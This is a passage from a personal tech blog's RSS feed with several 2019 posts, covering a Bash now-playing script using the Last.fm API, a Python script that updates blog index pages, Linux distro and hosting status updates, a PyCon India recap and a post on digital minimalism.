2117intelligence organizations face when working with law enforcement. Side note: it’s a pretty
2118good show if you like police procedurals.</p>
2119
2120<h2 id="the-problem">The problem</h2>
2121
2122<p>Consider the following scenario:</p>
2123
2124<ul>
2125<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
2126<li>Local PD busts his operation and proceed to arrest him.</li>
2127<li>3-letter org steps in, wants him released.</li>
2128</ul>
2129
2130<p>So here’s the thing, his presence is a threat to public but at the same time,
2131he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even
2132actionable intel on bigger fish who exist on top of the ladder. But he also
2133seeks security. The 3-letter org must provide him with protection,
2134in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
2135
2136<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
2137Who matters more, the people they’ve sworn to protect, or the asset?
2138Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
2139
2140<p>Thus, the question arises—how can we measure the “usefulness” of an
2141asset to better quantify the tradeoff that is to be made?
2142Is the intel gained worth the loss of public safety?
2143This question remains largely unanswered, and is quite the
2144predicament should you find yourself in it.</p>
2145
2146<p>This was a fairly short post, but an interesting problem to ponder
2147nonetheless.</p>
2148]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
2149to learn to code. Don’t get me wrong—it probably works for some.
2150Everyone learns differently. But that’s only going to get you so far.
2151Great you know the syntax, you can solve some competitive programming
2152problems, but that’s not quite enough, is it? The actual learning comes
2153from <em>applying</em> it in solving <em>actual</em> problems—not made up ones.
2154(<em>inb4 some seething CP bro comes at me</em>)</p>
2155
2156<p>Now, what’s an actual problem? Some might define it as real world
2157problems that people out there face, and solving it probably requires
2158building a product. This is what you see in hackathons, generally.</p>
2159
2160<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
2161face. This could be anything. Heck, it might not even be a “problem”. It
2162could just be an itch that you want to scratch. And this is where
2163<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
2164examples.</p>
2165
2166<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
2167
2168<p>If you weren’t aware already—I rice my desktop. A lot. And a part of
2169this cohesive experience I try to create involves a status bar up at the
2170top of my screen, showing the time, date, volume and battery statuses etc.</p>
2171
2172<p>So here’s the “problem”. I wanted to have my currently playing song
2173(Spotify), show up on my bar. How did I approach this? A few ideas
2174popped up in my head:</p>
2175
2176<ul>
2177<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
2178<li>Write a Python script to query Spotify’s API</li>
2179<li>Write a Python/shell script to query Last.fm’s API</li>
2180</ul>
2181
2182<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
2183Spotify client and whined about some <code>dbus</code> issues to top it off.
2184I spent a while in that rabbit hole but eventually gave up.</p>
2185
2186<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
2187I realize that I’ll have to make <em>more</em> than one request to fetch the
2188artist and track details. Nope, I need this to work fast.</p>
2189
2190<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably
2191the best choice, since it shows the track status regardless of where
2192the music is being played. Here’s the script in its entirety:</p>
2193
2194<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
2195<span class="c1"># now playing</span>
2196<span class="c1"># requires the last.fm API key</span>
2197
2198<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
2199<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
2200<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
2201
2202<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
2203<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
2204<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
2205<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
2206<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
2207<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2208
2209
2210<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
2211<span class="k">then</span>
2212 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2213 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
2214 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
2215<span class="k">else</span>
2216 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
2217<span class="k">fi</span>
2218</code></pre></div>
2219
2220<p>The <code>source</code> command is used to fetch the API key which I store at
2221<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
2222for coloring output on my bar. The rest is fairly trivial and just
2223involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
2224That’s it! It’s so small, but I learnt a ton. For those curious, here’s
2225what it looks like running:</p>
2226
2227<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
2228
2229<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
2230
2231<p>This pertains to this very blog that you’re reading. I wanted a quick
2232way to update the “latest post” section in the home page and the
2233<a href="/blog">blog</a> listing, with a link to the latest post. This would require
2234editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
2235of both pages.</p>
2236
2237<p>This was a very
2238interesting challenge to me, primarily because it requires in-place
2239editing of the file, not just appending. Sure, I could’ve come up with
2240some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
2241regexes. Did a lot of research (read: Googling) on in-place editing of
2242files in Python, sorting lists of files by modification time etc. and
2243this is what I ended up on, ultimately:</p>
2244
2245<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
2246
2247<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
2248<span class="kn">import</span> <span class="nn">os</span>
2249<span class="kn">import</span> <span class="nn">fileinput</span>
2250<span class="kn">import</span> <span class="nn">sys</span>
2251
2252<span class="c1"># change our cwd</span>
2253<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
2254
2255<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
2256
2257<span class="c1"># get the most recently created file</span>
2258<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
2259 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
2260 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
2261 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
2262
2263<span class="c1"># adding an entry to the markdown table</span>
2264<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
2265 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
2266 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2267 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
2268 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| -- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
2269 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
2270
2271 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2272 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
2273
2274<span class="c1"># editing the md source in-place</span>
2275<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
2276 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
2277 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
2278 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
2279 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
2280 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
2281 <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
2282
2283
2284<span class="c1"># fetch title and date</span>
2285<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
2286<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
2287<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
2288<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span><span class="si">}</span><span class="s2">](</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2">) | `</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'date'</span><span class="p">]</span><span class="si">}</span><span class="s2">` |"</span>
2289
2290<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
2291<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
2292</code></pre></div>
2293
2294<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
2295massive hack</strong>. And in the end, that’s my point exactly. It’s very
2296hacky, but the sheer amount I learnt by writing this ~50
2297line script can’t be taught anywhere.</p>
2298
2299<p>This was partially how
2300<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
2301intended to be a script to build my site, but grew into a full-blown
2302Python package. I could’ve just
2303used an off-the-shelf static site generator
2304given that there are <a href="https://staticgen.com">so many</a> of them, but
2305I chose to write one myself.</p>
2306
2307<p>And that just about sums up what I wanted to say. The best and most fun
2308way to learn to code—write hacky scripts. You heard it here.</p>
2309]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
2310they were never weekly and—let’s be honest---they aren’t going to be.
2311These posts are, henceforth, just “Status updates”. The date range can
2312be inferred from the post date.</p>
2313
2314<p>That said, here’s what I’ve been up to!</p>
2315
2316<h2 id="void-linux">Void Linux</h2>
2317
2318<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
2319really. The very comfy <code>apk</code>, ultra mnml system… but having to
2320maintain a chroot for my glibc needs was getting way too painful. And
2321the package updates are so slow! Heck, they’re still on kernel 4.xx on
2322their supposed “bleeding” <code>edge</code> repo.</p>
2323
2324<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
2325I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
2326(-95 mV). Can’t say for sure if there’s a noticeable difference in
2327battery life though. I’ll see if I can run some tests.</p>
2328
2329<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
2330
2331<h2 id="pycon">PyCon</h2>
2332
2333<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
2334
2335<h2 id="this-website">This website</h2>
2336
2337<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
2338using Netlify, though. I used to host my old blog which ran Hugo, there.
2339I was tired of doing this terrible hack to maintain a single repo for
2340both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
2341what I did:</p>
2342
2343<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
2344
2345git push origin master
2346<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
2347git subtree push --prefix build origin gh-pages
2348</code></pre></div>
2349
2350<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
2351by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
2352build</code>. Very pleasant.</p>
2353
2354<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
2355
2356<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
2357window manager written in Nim. I’d taken a break from it for a while
2358because Xlib is such a pain to work with (or I’m just dense). Anyway,
2359I’m planning on getting back to it, with some fresh inspiration from
2360Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
2361
2362<h2 id="other">Other</h2>
2363
2364<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
2365Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
2366started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
2367<a href="/reading">reading log</a>.</p>
2368
2369<p>That’s about it, and I’ll see you—definitely not next week.</p>
2370]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
2371weekend—Oct 12th and 13th---was PyCon India 2019, in Chennai, India.
2372It was my first PyCon, <em>and</em> my first ever talk at a major conference!
2373This is an account of the all the cool stuff I saw, people I met and the
2374talks I enjoyed.
2375Forgive the lack of pictures—I prefer living the moment through my
2376eyes. </p>
2377
2378<h2 id="talks">Talks</h2>
2379
2380<p>So much ML! Not that it’s a bad thing, but definitely interesting to
2381note. From what I counted, there were about 17 talks tagged under “Data
2382Science, Machine Learning and AI”. I’d have liked to see more talks
2383discussing security and privacy, but hey, the organizers can only pick
2384from what’s submitted. ;)</p>
2385
2386<p>With that point out of the way, here are some of the talks I really liked:</p>
2387
2388<ul>
2389<li><strong>Python Packaging–where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
2390<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
2391<li><strong>Ragabot–Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
2392<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
2393<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
2394keynote</li>
2395</ul>
2396
2397<h2 id="my-talk">My talk (!!!)</h2>
2398
2399<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
2400our smart lock security research. Agreed, it might have been less
2401“hardware” and more of a bug on the server-side, but that’s the thing
2402about IoT right? It’s so multi-faceted, and is an amalgamation of so
2403many different hardware and software stacks. But, anyway…</p>
2404
2405<p>I was reassured by folks after the talk that the silence during Q/A was
2406the “good” kind of silence. Was it really? I’ll never know.</p>
2407
2408<h2 id="some-nice-people-i-met">Some nice people I met</h2>
2409
2410<ul>
2411<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to
2412me about everything from computational biology to the physical
2413implementation of quantum computers.</li>
2414<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my
2415<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
2416awesome.</li>
2417<li><a href="https://twitter.com/h6165">Abhishek</a></li>
2418<li>Pradyun and Vikrant (linked earlier)</li>
2419</ul>
2420
2421<p>And a lot of other people doing really great stuff, whose names I’m
2422forgetting.</p>
2423
2424<h2 id="pictures">Pictures!</h2>
2425
2426<p>It’s not much, and
2427I can’t be bothered to format them like a collage or whatever, so I’ll
2428just dump them here—as is.</p>
2429
2430<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
2431<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
2432<img src="/static/img/me_talking.jpg" alt="me talking" />
2433<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
2434
2435<h2 id="cest-tout">C’est tout</h2>
2436
2437<p>Overall, a great time and a weekend well spent. It was very different
2438from your typical security conference—a lot more <em>chill</em>, if you
2439will. The organizers did a fantastic job and the entire event was put
2440together really well.
2441I don’t have much else to say, but I know for sure that I’ll be
2442there next time.</p>
2443
2444<p>That was PyCon India, 2019.</p>
2445]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
2446subject. But this is inherently different, since it’s <em>my</em> opinion on
2447the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
2448
2449<p>According to me, minimalism can be achieved on two primary fronts --
2450the phone & the computer. Let’s start with the phone. The daily carry.
2451The device that’s on our person from when we get out of bed, till we get
2452back in bed.</p>
2453
2454<h2 id="the-phone">The phone</h2>
2455
2456<p>I’ve read about a lot of methods people employ to curb their phone
2457usage. Some have tried grouping “distracting” apps into a separate
2458folder, and this supposedly helps reduce their usage. Now, I fail to see
2459how this would work, but YMMV. Another technique I see often is using
2460a time governance app—like OnePlus’ Zen Mode---to enforce how much
2461time you spend using specific apps, or the phone itself. I’ve tried this
2462for myself, but I constantly found myself counting down the minutes
2463after which the phone would become usable again. Not helpful.</p>
2464
2465<p>My solution to this is a lot more brutal. I straight up uninstalled the
2466apps that I found myself using too often. There’s a simple principle
2467behind it—if the app has a desktop alternative, like Twitter,
2468Reddit, etc. use that instead. Here’s a list of apps that got nuked from
2469my phone:</p>
2470
2471<ul>
2472<li>Twitter</li>
2473<li>Instagram (an exception, no desktop client)</li>
2474<li>Relay for Reddit</li>
2475<li>YouTube (disabled, ships with stock OOS)</li>
2476</ul>
2477
2478<p>The only non-productive app that I’ve let remain is Clover,
2479a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
2480holds up. I’ve also allowed my personal messaging apps to remain, since
2481removing those would be inconveniencing others.</p>
2482
2483<p>I must admit, I often find myself reaching for my phone out of habit
2484just to check Twitter, only to find that its gone. I also subconsciously
2485tap the place where its icon used to exist (now replaced with my mail
2486client) on my launcher. The only “fun” thing left on my phone to do is
2487read or listen to music. Which is okay, in my opinion.</p>
2488
2489<h2 id="the-computer">The computer</h2>
2490
2491<p>I didn’t do anything too nutty here, and most of the minimalism is
2492mostly aesthetic. I like UIs that get out of the way. </p>
2493
2494<p>My setup right now is just a simple bar at the top showing the time,
2495date, current volume and battery %, along with my workspace indicators.
2496No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
2497try to force myself to not use stuff—after all, I’ve reduced it
2498elsewhere. :)</p>
2499
2500<p>Now the question arises: Is this just a phase, or will I stick to it?
2501What’s going to stop me from heading over to the Play Store and
2502installing those apps back? Well, I never said this was going to be
2503easy. There’s definitely some will power needed to pull this off.
2504I guess time will tell.</p>
2505]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
2506uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
2507since then. Let’s get right into it!</p>
2508
2509<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
2510
2511<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
2512
2513<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
2514<span class="m">3817</span>
2515
2516<span class="c1"># or something in that ballpark</span>
2517</code></pre></div>
2518
2519<p>I’ve been wanting to reduce my system’s package count.</p>
2520
2521<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
2522sane package manager. I did come across Dylan Araps’
2523<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
2524for me (and still relatively new). I finally settled on
2525<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
2526
2527<blockquote>
2528 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
2529 on musl libc and busybox.</p>
2530</blockquote>
2531
2532<p>The installation was a breeze, and I was quite surprised to see WiFi working
2533OOTB. In the past week of my using this distro, the only major hassle I faced
2534was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
2535yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
2536soon. (hint: it involves chroots)</p>
2537
2538<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
2539
2540<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
2541
2542<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
2543-- you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
2544repository if you’re interested. I’m currently working on packaging Nim too, so
2545keep an eye out for that in the coming week.</p>
2546
2547<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
2548
2549<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
2550going to be speaking at PyCon India about our recent smart lock security
2551research. The conference is happening in Chennai, much to our convenience.
2552If you’re attending too, hit me up on Twitter and we can hang!</p>
2553
2554<h2 id="other">Other</h2>
2555
2556<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
2557strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
2558week, for sure.</p>
2559
2560<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
2561I think I like it? I still find myself coming back to metalcore/deathcore.
2562Here’s a list of artists I discovered (and liked) recently:</p>
2563
2564<ul>
2565<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
2566<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
2567<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
2568<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
2569<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
2570</ul>
2571
2572<p>That’s it for now, I’ll see you next week!</p>
2573
2574<div class="footnotes">
2575<hr />
2576<ol>
2577<li id="fn-1">
2578<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2579</li>
2580</ol>
2581</div>
2582]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
2583and to serve as a log of how I’m using my time. In theory, I will write this post
2584every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
2585a format for this, but it will probably include a quick summary of the work I did,
2586things I read, IRL stuff, etc.</p>
2587
2588<p>With the meta stuff out of the way, here’s what went down last week!</p>
2589
2590<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
2591
2592<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
2593the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
2594It creates a small community of sites and enables sharing of traffic among these sites.
2595The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
2596of those sites are beautiful. Mine pales in comparison.</p>
2597
2598<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
2599called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
2600and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
2601twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
2602
2603<p>Which brings me to the next thing I did this/last week.</p>
2604
2605<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
2606
2607<p>I’m not a fan of the official Python client, because you know, Python is bloat.
2608As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
2609authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
2610It’s not entirely useable as of yet, but it’s definitely getting there, with the help
2611of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
2612
2613<h2 id="other">Other</h2>
2614
2615<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
2616Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
2617It’s pretty good—each episode is only about 30 mins and it hits the sweet spot,
2618delvering both interesting security content and news.</p>
2619
2620<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
2621“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
2622
2623<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
2624easy to pick up. Learning the Cyrillic script will require some relearning, especially
2625with letters like в, н, р, с, etc. that look like English but sound entirely different.
2626I think I’m pretty serious about learning this language—I’ve added the Russian keyboard
2627to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
2628layout to my keyboard map too:</p>
2629
2630<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
2631</code></pre>
2632
2633<p>With that ends my weekly update, and I’ll see you next week!</p>
2634]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
2635According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
2636<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
2637derived from the title of a KGB black propaganda department.</p>
2638
2639<blockquote>
2640 <p>Disinformation is false information spread deliberately to deceive.</p>
2641</blockquote>
2642
2643<p>To fully understand disinformation, especially in the modern age, we need to understand the
2644key factors of any successful disinformation operation:</p>
2645
2646<ul>
2647<li>creating disinformation (what)</li>
